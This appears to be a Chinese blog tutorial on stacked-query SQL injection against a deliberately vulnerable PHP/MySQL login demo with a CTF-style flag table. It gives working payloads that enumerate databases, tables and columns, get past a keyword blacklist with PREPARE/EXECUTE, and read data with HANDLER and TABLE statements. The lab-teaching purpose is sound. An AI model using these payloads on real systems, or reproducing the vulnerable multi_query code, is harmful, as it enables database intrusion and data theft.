- 条件:支持堆叠注入
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body >
<form action="" method="post">
<fieldset >
<legend>Login Me</legend>
<table>
<tr>
<td>用户名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密 码:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
error_reporting(0);
function check($v)
{
if(preg_match("/select|update|delete|drop|insert|where|\./i", $v))
{
die("Hacking!!!");
}
}
$username = isset($_POST['username']) ? $_POST['username'] : '';
$userinfo = array();
check($username);
if($username){
//使用mysqli驱动连接demo数据库
$mysqli = new mysqli("localhost", "root", "root", 'tt');
$sql = "SELECT * FROM users WHERE username='{$username}'";
//mysqli multi_query 支持执行多条MySQL语句
$query = $mysqli->multi_query($sql);
if($query){
do {
/* store first result set */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
var_dump($row);
}
$result->free();
}
} while ($mysqli->next_result());
}
}
<!-- create database tt;
use tt;
CREATE TABLE IF NOT EXISTS `users`(
`id` INT UNSIGNED AUTO_INCREMENT,
`username` VARCHAR(20) NOT NULL,
`password` VARCHAR(20) NOT NULL,
PRIMARY KEY ( `id` )
);
insert into users(username,password) values ('admin','Admin_AMao');
create database flag;
use flag;
CREATE TABLE IF NOT EXISTS `fl44g`(
`flag` VARCHAR(20) NOT NULL
);
insert into fl44g (flag) values('flag{HillStone}'); -->
注入过程
查询数据库
1
username=-1';show databases#&password=admin
查询表名
1
username=-1';use tt;show tables#&password=admin
查询字段名
1
username=-1';show columns from users#&password=admin
预编译绕过
1 | username=-1';set @sql=concat('s','elect username from `users`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#&password=admin |
handler 查询
handler 语句能够实现一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
语法
1
2
3
4
5
6
7
8
9
10 HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。FIRST 第一行
NEXT 下一行
PREV 前一行
LAST 最后一行
1 | username=a';use tt;handler users open;handler users read first;handler users read next;#&password=admin |
table
版本 > 8.0.19
环境搭建
1
2docker pull mysql:8.0.22
docker run -itd -p 13306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:8.0.22修改认证方式
1
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root';
修改脚本
1
$mysqli = new mysqli("192.168.1.128", "root", "root", 'tt','13306');
1 | username=a';table users;;#&password=admin |
参考
声明
- 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
- 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
Author: AMao
Copyright: 本站所有文章均采用 署名-非商业性使用-相同方式共享 4.0 国际(CC BY-NC-SA 4.0) 许可协议。转载请注明出处!